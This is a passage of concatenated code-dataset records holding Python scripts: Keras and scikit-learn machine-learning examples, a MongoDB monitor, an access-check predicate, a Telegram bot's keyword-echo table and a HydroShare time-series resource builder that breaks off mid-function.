H\nmatshow(angle(sif))\nshow()","sub_path":"initial/SBAND_RMA_opendata.py","file_name":"SBAND_RMA_opendata.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"177853958","text":"from pymongo import MongoClient\nfrom Utils import dbmonitor, appRestarter\n\nif __name__ == \"__main__\":\n client = MongoClient(\"mongodb://localhost:27017/\")\n db = client.test_db\n collection = db.test_collection\n target_app_path = \"/path/to/file/processcheck.py\"\n monitor = dbmonitor.MongoMonitor(collection = collection, interval = 30)\n restarter = appRestarter.Restarter(target_app_path)\n while True:\n monitor.monitor()\n print(\"From Main program: Monitor stopped running\")\n restarter.restart()\n print(\"I'm hoping it doesn't get here\")","sub_path":"monitoringApp.py","file_name":"monitoringApp.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"166895347","text":"from __future__ import print_function\nimport numpy as np\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\nfrom keras.callbacks import ModelCheckpoint\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn import manifold\nimport gzip\nfrom time import time\nfrom sklearn.metrics import log_loss\n\nbatch_size = 128\nnum_classes = 10\nepochs = 12\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\ntest_images_file = open('/Users/fangdali/Downloads/fashion-mnist-master/data/fashion/t10k-images-idx3-ubyte.gz', \"rb\")\ntest_labels_file = open('/Users/fangdali/Downloads/fashion-mnist-master/data/fashion/t10k-labels-idx1-ubyte.gz', \"rb\")\n\ndef _read32(bytestream):\n dt = np.dtype(np.uint32).newbyteorder('>')\n return np.frombuffer(bytestream.read(4), dtype=dt)[0]\n\ndef extract_images(f):\n with gzip.GzipFile(fileobj=f) as bytestream:\n magic = _read32(bytestream)\n if magic != 2051:\n raise ValueError('Invalid magic number %d in MNIST image file: %s' %\n (magic, f.name))\n num_images = _read32(bytestream)\n rows = _read32(bytestream)\n cols = _read32(bytestream)\n buf = bytestream.read(rows * cols * num_images)\n data = np.frombuffer(buf, dtype=np.uint8)\n data = data.reshape(num_images, rows, cols, 1)\n return data\n\ndef extract_labels(f, one_hot=False, num_classes=10):\n with gzip.GzipFile(fileobj=f) as bytestream:\n magic = _read32(bytestream)\n if magic != 2049:\n raise ValueError('Invalid magic number %d in MNIST label file: %s' %\n (magic, f.name))\n num_items = _read32(bytestream)\n buf = bytestream.read(num_items)\n labels = np.frombuffer(buf, dtype=np.uint8)\n if one_hot:\n return dense_to_one_hot(labels, num_classes)\n return labels\n\ntest_images_array = extract_images(test_images_file)\ntest_labels_array = extract_labels(test_labels_file)\n\n(x_test, y_test) = (test_images_array, test_labels_array)\nx_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\ninput_shape = (img_rows, img_cols, 1)\n\nx_test = x_test.astype('float32')\nx_test /= 255\nprint(x_test.shape[0], 'test samples')\n\n# convert class vectors to binary class matrices\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n\nmodel.load_weights('fashion_mnist_model_saved.hdf5')\n\nN_samples = 1000\nper_sample_logloss_list = []\n\nfor i in range(N_samples):\n per_sample_logloss_list.append(log_loss(y_test[i:i+1], model.predict(x_test[i:i+1]), normalize=False))\n\nper_sample_logloss_list /= np.max(per_sample_logloss_list)\nper_sample_logloss_list = per_sample_logloss_list**0.5\nprint(np.mean(per_sample_logloss_list), np.std(per_sample_logloss_list))\nprint(np.min(per_sample_logloss_list), np.max(per_sample_logloss_list))\n\ndef plot_embedding(X, Y, color_dict):\n x_min, x_max = np.min(X, 0), np.max(X, 0)\n X = (X - x_min) / (x_max - x_min)\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n for i in range(X.shape[0]):\n ax.scatter(X[i, 0], X[i, 1], X[i, 2], c=color_dict[Y[i]], s=.5)\n ax.scatter(X[i, 0], X[i, 1], X[i, 2], c='black', s=2.0, alpha=per_sample_logloss_list[i])\n\ntsne = manifold.TSNE(n_components=3, init='pca', random_state=0)\nX_tsne = tsne.fit_transform(test_images_array.reshape(test_images_array.shape[0], img_rows*img_cols)[:N_samples])\n\ncolor_dict = {0:'yellow', 1:'blue', 2:'red', 3:'green', 4:'brown',\n 5:'tan', 6:'black', 7:'orange', 8:'orchid', 9:'darkturquoise'}\n\nplot_embedding(X_tsne, test_labels_array[:N_samples], color_dict)\n\nplt.show()\nplt.close()\n","sub_path":"tsne/tsne_predict.py","file_name":"tsne_predict.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"336514826","text":"import keras\nfrom keras.models import Sequential, Model\nfrom keras.utils import plot_model\nfrom keras.layers import Input, Dense, TimeDistributed, LSTM, Dropout, Activation\nfrom keras.layers import Conv1D, MaxPooling1D, Flatten, MaxPooling2D, Reshape\nfrom keras.layers import Conv2D, BatchNormalization, Lambda, Permute, GRU\nfrom keras.layers.advanced_activations import ELU\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, ReduceLROnPlateau\nfrom keras import backend\nfrom keras.utils import np_utils\nfrom keras.optimizers import Adam, RMSprop\nfrom keras import regularizers\n\ndef conv1d_gru(input_shape):\n #Build network\n NUM_CLASSES = 12 # Must Change in the tf reader as well\n N_LAYERS = 3\n CONV_FILTER_COUNT = 64\n FILTER_LENGTH = 5\n POOL_SIZE = 2\n GRU_COUNT = 64\n NUM_HIDDEN = 128\n L2_regularization = 0.001\n\n # Input\n model_input = keras.layers.Input(shape=input_shape)\n print(\"before permute \", model_input.shape)\n layer = Permute((2, 1), input_shape=(None, 128, 256))(model_input)\n print(\"after permute \", layer.shape)\n\n # Conv1D , input_shape=(10, 128) for time series sequences of 10 time steps with 128 features per step\n # 1st conv\n layer = Conv1D(filters=CONV_FILTER_COUNT,\n kernel_size=FILTER_LENGTH)(layer) #(model_input)\n layer = Activation('relu')(layer)\n layer = MaxPooling1D(pool_size=POOL_SIZE, strides=POOL_SIZE)(layer)\n layer = Dropout(0.2)(layer)\n\n for i in range(N_LAYERS - 1):\n layer = Conv1D(filters=128, kernel_size=FILTER_LENGTH)(layer)\n layer = Activation('relu')(layer)\n layer = MaxPooling1D(pool_size=POOL_SIZE, strides=POOL_SIZE)(layer)\n layer = Dropout(0.4)(layer)\n\n ## LSTM Layer\n layer = GRU(GRU_COUNT, return_sequences=True)(layer)\n layer = GRU(GRU_COUNT, return_sequences=False)(layer)\n\n layer = Dropout(0.4)(layer)\n\n ## Softmax Output\n layer = Dense(NUM_CLASSES)(layer)\n layer = Activation('softmax')(layer)\n model_output = layer\n train_model = Model(inputs=model_input, outputs=(model_output))\n return train_model\n\ndef RNN(input_shape):\n\n NUM_CLASSES = 12 # Must Change in the tf reader as well\n N_LAYERS = 3\n CONV_FILTER_COUNT = 64\n FILTER_LENGTH = 5\n\n POOL_SIZE = 2\n\n GRU_COUNT = 64\n NUM_HIDDEN = 128\n L2_regularization = 0.001\n\n # Input\n model_input = keras.layers.Input(shape=input_shape)\n print(model_input.shape)\n layer = Permute((2, 1), input_shape=(128, 256))(model_input)\n print(layer.shape)\n\n ## LSTM Layer\n layer = LSTM(GRU_COUNT, return_sequences=True)(layer)\n layer = LSTM(GRU_COUNT, return_sequences=False)(layer)\n\n ## Softmax Output\n layer = Dense(NUM_CLASSES)(layer)\n layer = Activation('softmax')(layer)\n model_output = layer\n\n #Create your model\n train_model = Model(inputs=model_input, outputs=model_output)\n return train_model\n","sub_path":"pianition/keras_models.py","file_name":"keras_models.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"358742858","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 17 13:09:26 2019\n\n@author: User1\n\"\"\"\n\nT = [73,74,75,71,69,72,76,73]\n\n\ndef dailyTemperatures(T):\n futureTemp = []\n order = []\n result = []\n maxTemp = 0\n for temp in reversed(T):\n maxTemp = max(maxTemp,temp)\n if not futureTemp:\n order.append(temp)\n futureTemp.append(temp)\n result.append(0)\n else:\n #print(temp)\n futureTemp.insert(0,temp)\n if temp == order[len(result)-1]:\n if result[len(result)-1] == 0:\n result.append(0)\n continue\n result.append(result[len(result)-1]+1)\n continue\n if temp in order:\n print(order)\n order.remove(temp)\n order.append(temp)\n print(order)\n else:\n order.append(temp)\n if temp < maxTemp:\n for ftemp in order[::-1]:\n #print(order)\n #print(futureTemp)\n #print(str(temp) + \" temp\")\n #print(str(ftemp) + ' ftemp')\n if ftemp > temp:\n result.append(futureTemp.index(ftemp))\n break\n else:\n result.append(0)\n return result[::-1]\n\nprint(dailyTemperatures(T))","sub_path":"pythonscripts/dailyTemperatures.py","file_name":"dailyTemperatures.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"97853933","text":"import numpy as np\nimport os\nimport pandas as pd\nimport shutil\n\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\n\n\nclass WineExample(object):\n\n def __init__(self):\n self.dataset_url = (\n 'https://archive.ics.uci.edu/ml/machine-learning-databases/'\n + 'wine/wine.data')\n self.df = None\n self.class_label_string = 'Class label'\n\n # Program path\n self.program_path = os.path.abspath(__file__)\n self.program_dir_path = os.path.dirname(self.program_path)\n\n # Cache path variables\n self.local_cache_foldername = '.cache'\n self.cache_filename = 'wine.pkl'\n self.cache_dir_path = os.path.abspath(\n self.program_dir_path + '/' + self.local_cache_foldername\n )\n self.cache_file_path = os.path.abspath(\n self.cache_dir_path + '/' + self.cache_filename\n )\n\n def fetch_data(self):\n if os.path.exists(self.cache_file_path):\n print(\"Loading data from cache:\", self.cache_file_path)\n self.df = pd.read_pickle(self.cache_file_path)\n else:\n print(\"Fetching data from %s..\\n\" % self.dataset_url)\n self.df = pd.read_csv(self.dataset_url, header=None)\n self.df.columns = [\n self.class_label_string,\n 'Alcohol',\n 'Malic acid',\n 'Ash',\n 'Alcalinity of ash',\n 'Magnesium',\n 'Total phenols',\n 'Falavanoids',\n 'Nonflavanoid phenols',\n 'Proanthocyanins',\n 'Color instensity',\n 'Hue',\n 'OD280/OD315 of diluted wines',\n 'Proline'\n ]\n\n if not os.path.exists(self.cache_dir_path):\n print(\"Creating directory:\", self.cache_dir_path)\n os.makedirs(self.cache_dir_path)\n\n print(\"Creating cache:\", self.cache_file_path)\n self.df.to_pickle(self.cache_file_path)\n\n def clear_cache(self):\n if os.path.exists(self.cache_dir_path):\n print(\"Removing cache folder:\", self.cache_dir_path)\n shutil.rmtree(self.cache_dir_path)\n else:\n print(\"Warning: Cache already empty\")\n\n\ndef test():\n wine = WineExample()\n wine.fetch_data()\n print('Class labels: ', np.unique(wine.df[wine.class_label_string]), '\\n')\n\n X = wine.df.iloc[:, 1:].values\n y = wine.df.iloc[:, 0].values\n\n # Partition into training and testing samples\n (X_train, X_test, y_train, y_test) = train_test_split(\n X, y, test_size=0.3, random_state=0\n )\n\n print(\"Training set shape:\", X_train.shape)\n print(\"Tesing set shape:\", X_test.shape, '\\n')\n\n # Standardization\n ss = StandardScaler()\n ss.fit(X_train)\n X_train_std = ss.transform(X_train)\n X_test_std = ss.transform(X_test)\n\n # Use logistic regression with a regularization parameter C=1/lambda\n c_generator = (10**i for i in range(-3, 3))\n\n for c in c_generator:\n print('\\n')\n print('='*100)\n lr = LogisticRegression(penalty='l1', C=c)\n lr.fit(X_train_std, y_train)\n\n train_set_accuracy = lr.score(X_train_std, y_train)\n test_set_accuracy = lr.score(X_test_std, y_test)\n print(\"C = %s, lambda = %s\" % (str(c), str(1.0/c)))\n print(\"Training accuracy: \", train_set_accuracy)\n print(\"Test accuracy:\", test_set_accuracy, '\\n\\n')\n\n print(\"Intercepts:\")\n print(lr.intercept_, '\\n')\n\n print(\"Logistic regression optimized weights:\")\n print(lr.coef_, '\\n')\n\n\n\nif __name__ == '__main__':\n test()\n","sub_path":"DataPreprocessing/Regularization/l1_regularization_wine.py","file_name":"l1_regularization_wine.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"116880969","text":"\nfrom repoze.what.predicates import Predicate\nfrom traffgroup.core.model.partners.partner import Partner\n \nclass HasProfile(Predicate):\n message = \"Stop right there, you criminal scum!\"\n \n def __init__(self, **kwargs):\n Predicate.__init__(self, **kwargs)\n \n def evaluate(self, environ, credentials):\n if not environ.get('repoze.who.identity', {}).get('repoze.who.userid', None):\n self.unmet()\n \n uid = environ.get('repoze.who.identity', {}).get('repoze.who.userid', None)\n \n partner = Partner.Get(int(uid))\n if not partner:\n self.unmet()\n \n if partner.approved_by <= 0:\n self.unmet()\n\n","sub_path":"traffgroup/partners/lib/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144558650","text":"# coding=utf-8\n\nbot_name='@MisakiAobaBot'\n# ---My Module\nfrom module import *\n\ndef RESET(words, echo=None, photo=None, video=None,\n prob=1000, els=None,allco=False, echo_list=False):\n data={\n 'words':words,\n 'echo':echo,\n 'photo':photo,\n 'video':video,\n 'prob':prob,\n 'els':els,\n 'allco':allco,\n 'echo_list':echo_list\n }\n insert_data('words_echo',data)\n logger.info(\"Reset finished:%s\",words)\npic_ten=['https://i.imgur.com/XmWYqS1.mp4',\n'https://imgur.com/LYBnOzo.mp4',\n'https://i.imgur.com/denCUYX.mp4']\npic_trys=['https://img.gifmagazine.net/gifmagazine/images/2289135/original.mp4',\n'https://i.imgur.com/b9s69iK.mp4',\n'https://img.gifmagazine.net/gifmagazine/images/1333179/original.mp4']\nRESET(words=['大老','dalao','ㄉㄚˋㄌㄠˇ','巨巨','Dalao','大 佬'],echo='你才大佬!你全家都大佬!', prob=200)\nRESET(words=['依田','芳乃'], echo='ぶおおー')\nRESET(words=['青羽','美咲'], echo='お疲れ様でした!')\nRESET(words=['ころあず'], echo='ありがサンキュー!')\nRESET(words=['この歌声が'], echo='MILLLLLIIIONNNNNN',els='UNIIIIIOOONNNNN',prob=500)\nRESET(words=['天','ナンス','もちょ'],video=pic_trys,allco=True,echo_list=True)\nRESET(words=['麻倉','もも','もちょ'], echo='(●・▽・●)',els='(o・∇・o)もちー!もちもちもちもちもちーーーもちぃ!',prob=900)\nRESET(words=['夏川','椎菜','ナンス'], echo='(*>△<)<ナーンナーンっ',els='https://imgur.com/AOfQWWS.mp4',prob=300)\nRESET(words=['雨宮','てん','天ちゃん'], video=pic_ten,echo_list=True)\nRESET(words=['天'], prob=15, video=pic_ten,echo_list=True)\nRESET(words=['終わり','結束','沒了','完結'], echo='終わりだよ(●・▽・●)')\nRESET(words=['小鳥'], echo='もしかして〜♪ 音無先輩についてのお話ですか')\nRESET(words=['誰一百'], echo='咖嘎雅哭')\nRESET(words=['咖嘎雅哭'], echo='吼西米~那咧')\nRESET(words=['vertex'], echo='IDOL!')\nRESET(words=['高木','社長','順二朗'], echo='あぁ!社長のことを知りたい!')\nRESET(words=['天海','春香'], echo='天海さんのクッキーはとっても美味しいですね〜')\nRESET(words=['閣下'], echo='え!?もしかして春香ちゃん!?',els='恐れ、平れ伏し、崇め奉りなさいのヮの!',prob=900)\nRESET(words=['如月','千早'], echo='如月さんの歌は素晴らしい!',els='静かな光は蒼の波紋 VERTEX BLUE!!!!',prob=720)\nRESET(words=['72'],prob=10, echo='こんな言えば如月さんは怒って���まうよ!')\nRESET(words=['星井','美希'], echo='あの...星井さんはどこかで知っていますか?')\nRESET(words=['高槻','やよい'], echo=\"ζ*'ヮ')ζ<うっうー \")\nRESET(words=['萩原','雪歩'], echo='あ、先のお茶は萩原さんからの')\nRESET(words=['秋月','律子'], echo='律子さんは毎日仕事するで、大変ですよね〜')\nRESET(words=['三浦','あずさ'], echo='え?あずささんは今北海道に!?')\nRESET(words=['水瀬','伊織'], echo='このショコラは今朝水瀬さんからの、みな一緒に食べろう!')\nRESET(words=['菊地','真'], echo='真さんは今、王子役の仕事をしていますよ。',\nels='真さんは今、ヒーロー役の仕事をしていますよ~~激しい光は黒の衝撃 VERTEX BLACK!!!!',prob=700,allco=True)\nRESET(words=['我那覇','響'], echo='ハム蔵はどこでしょうか?探していますね',els='弾ける光は浅葱の波濤 VERTEX LIGHTBLUE!!',prob=700,allco=True)\nRESET(words=['四条','貴音'], echo='昨日〜貴音さんがわたしに色々な美味しい麺屋を紹介しました!',els='秘めたり光は臙脂の炎 VERTEX CARMINE〜〜',prob=700)\nRESET(words=['亜美'], echo='亜美?あそこよ')\nRESET(words=['真美'], echo='真美?いないよ')\nRESET(words=['双海'], echo='亜美真美?先に外へ行きました')\n","sub_path":"ECHO_RESET.py","file_name":"ECHO_RESET.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"246551982","text":"from __future__ import print_function\nfrom datetime import datetime\nimport shutil\nimport requests\nimport sqlite3\nimport uuid\nimport traceback\nimport random\nimport time\nimport xmltodict\nimport itertools\nimport os\nimport collections\nfrom hs_restclient import HydroShare, HydroShareAuthOAuth2, HydroShareNotAuthorized, HydroShareNotFound\nfrom xml.sax._exceptions import SAXParseException\nfrom django.conf import settings\nfrom .app import HydroshareResourceCreator\nimport json\nfrom logging import getLogger\nimport zipfile, io\nimport traceback\nimport sys\nimport pandas\nfrom lxml import etree\n\nlogger = getLogger('django')\nuse_hs_client_helper = True\ntry:\n from tethys_services.backends.hs_restclient_helper import get_oauth_hs\nexcept:\n use_hs_client_helper = False\n logger.error(\"tethys_services.backends.hs_restclient_helper import get_oauth_hs: \" + ex.message)\n\n\ndef get_user_workspace(request):\n \"\"\"\n Gets app workspace path.\n \n Arguments: []\n Returns: [workspace]\n Referenced By: [error_report, create_ts_resource, controllers_ajax.chart_data, controllers_ajax.create_layer]\n References: [app.HydroshareResourceCreator]\n Libraries: []\n \"\"\"\n\n workspace = HydroshareResourceCreator.get_user_workspace(request).path\n\n return workspace\n\n\ndef get_o_auth_hs(request):\n \"\"\"\n Gets HydroShare Open Authorization.\n \n Arguments: [request]\n Returns: [hs]\n Referenced By: [controllers_ajax.chart_data, controllers_ajax.create_layer]\n References: []\n Libraries: [HydroShareAuthOAuth2, HydroShare]\n \"\"\"\n\n if use_hs_client_helper:\n hs = get_oauth_hs(request)\n else:\n hs_instance_name = \"www\"\n client_id = getattr(settings, \"SOCIAL_AUTH_HYDROSHARE_KEY\", None)\n client_secret = getattr(settings, \"SOCIAL_AUTH_HYDROSHARE_SECRET\", None)\n # this line will throw out from django.core.exceptions.ObjectDoesNotExist\\\n # if current user is not signed in via HydroShare OAuth\n token = request.user.social_auth.get(provider='hydroshare').extra_data['token_dict']\n hs_hostname = \"{0}.hydroshare.org\".format(hs_instance_name)\n auth = HydroShareAuthOAuth2(client_id, client_secret, token=token)\n hs = HydroShare(auth=auth, hostname=hs_hostname)\n\n return hs\n\n\ndef connect_wsdl_url(wsdl_url):\n \"\"\"\n Handles client url errors. \n\n Arguments: [wsdl_url]\n Returns: [client]\n Referenced By: [load_into_odm2, ]\n References: []\n Libraries: [suds.client.Client]\n \"\"\"\n\n try:\n client = \"\"\n except ValueError:\n raise Exception('Invalid url') # ought to be a 400, but no page implemented for that\n except SAXParseException:\n raise Exception(\"The correct url format ends in '.asmx?WSDL'.\")\n except:\n raise Exception(\"Unexpected error\")\n\n return client\n\n\ndef process_form_data(form_data):\n try:\n try:\n series_count = len(form_data['timeSeriesReferenceFile']['referencedTimeSeries'])\n except:\n form_data = {'timeSeriesReferenceFile': json.loads(form_data['timeSeriesReferenceFile'])}\n series_count = len(form_data['timeSeriesReferenceFile']['referencedTimeSeries'])\n for i in range(series_count):\n if not 'site' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site'] = {}\n if not 'variable' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable'] = {}\n if not 'requestInfo' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo'] = {}\n if not 'method' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method'] = {}\n if not 'siteName' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteName'] = ''\n if not 'siteCode' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteCode'] = ''\n if not 'variableName' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableName'] = ''\n if not 'variableCode' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableCode'] = ''\n if not 'networkName' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['networkName'] = ''\n if not 'refType' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['refType'] = ''\n if not 'serviceType' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['serviceType'] = ''\n if not 'url' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['url'] = ''\n if not 'returnType' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['returnType'] = ''\n if not 'latitude' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['latitude'] = ''\n if not 'longitude' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['longitude'] = ''\n if not 'methodDescription' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodDescription'] = ''\n if not 'methodLink' in form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']:\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodLink'] = ''\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteName'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteName'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteCode'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['siteCode'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableName'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableName'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableCode'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['variable']['variableCode'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['networkName'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['networkName'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['refType'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['refType'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['serviceType'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['serviceType'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['url'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['url'] = 'UNKNOWN'\n if str(form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['url'][-5:]) != '?WSDL':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['url'] += '?WSDL'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['returnType'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['requestInfo']['returnType'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['latitude'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['latitude'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['longitude'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['site']['longitude'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodDescription'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodDescription'] = 'UNKNOWN'\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodLink'] == '':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodLink'] = None\n if form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodLink'] == 'Unknown':\n form_data['timeSeriesReferenceFile']['referencedTimeSeries'][i]['method']['methodLink'] = None\n\n return form_data\n except:\n return \"Data Processing Error\"\n\n\ndef search_wml(unique_code, ns, tag_names, default_value=None, attr=None, get_tree=False, mult=False):\n if unique_code is None:\n return default_value\n if get_tree:\n for tag_name in tag_names:\n if list(unique_code.iter(ns + tag_name)) and mult:\n tree = list(unique_code.iter(ns + tag_name))\n elif list(unique_code.iter(ns + tag_name)) and not mult:\n tree = list(unique_code.iter(ns + tag_name))[0]\n elif not list(unique_code.iter(ns + tag_name)) and mult:\n tree = []\n elif not list(unique_code.iter(ns + tag_name)) and not mult:\n tree = None\n else:\n tree = None\n if tree != None and tree != []:\n return tree\n return tree\n else:\n for tag_name in tag_names:\n if list(unique_code.iter(ns + tag_name)) and not mult and attr == None:\n tag_value = list(unique_code.iter(ns + tag_name))[0].text\n elif list(unique_code.iter(ns + tag_name)) and not mult and attr != None:\n tag_value = list(unique_code.iter(ns + tag_name))[0].get(attr)\n elif list(unique_code.iter(ns + tag_name)) and mult and attr == None:\n tag_value = [i.text for i in list(unique_code.iter(ns + tag_name))]\n elif list(unique_code.iter(ns + tag_name)) and mult and attr != None:\n tag_value = [i.get(attr) for i in list(unique_code.iter(ns + tag_name))]\n elif not list(unique_code.iter(ns + tag_name)) and not mult:\n tag_value = None\n elif not list(unique_code.iter(ns + tag_name)) and mult:\n tag_value = []\n else:\n tag_value = None\n if tag_value != None and tag_value != []:\n return tag_value\n return default_value\n\n\ndef create_ts_resource(res_data):\n\n refts_data = create_refts_resource(res_data)\n refts_path = refts_data[\"res_filepath\"]\n\n print(\"Starting Transaction\")\n\n user_workspace = get_user_workspace(res_data[\"request\"])\n current_path = os.path.dirname(os.path.realpath(__file__))\n odm_master = os.path.join(current_path, \"static_data/ODM2_master.sqlite\")\n res_filepath = user_workspace + '/' + res_data['res_filename'] + '.odm2.sqlite'\n shutil.copy(odm_master, res_filepath)\n sql_connect = sqlite3.connect(res_filepath, isolation_level=None)\n curs = sql_connect.cursor()\n series_count = 0\n parse_status = []\n\n with open(refts_path, \"rb\") as refts_file:\n refts_data = json.load(refts_file)\n ts_list = refts_data[\"timeSeriesReferenceFile\"][\"referencedTimeSeries\"]\n res_title = refts_data[\"timeSeriesReferenceFile\"][\"title\"]\n res_abstract = refts_data[\"timeSeriesReferenceFile\"][\"abstract\"]\n \n for n, ts in enumerate(ts_list):\n error_code = False\n print(\"Preparing Series \" + str(n + 1), end=\" \")\n return_type = (ts[\"requestInfo\"][\"returnType\"])\n site_code = ts[\"site\"][\"siteCode\"]\n variable_code = ts[\"variable\"][\"variableCode\"]\n start_date = ts[\"beginDate\"]\n end_date = ts[\"endDate\"]\n url = ts[\"requestInfo\"][\"url\"]\n autho_token = \"\"\n \n # -------------------------- #\n # Downloads WaterML Data #\n # -------------------------- #\n\n try:\n\n if return_type == \"WaterML 1.1\":\n wml_version = \"1.1\"\n ns = 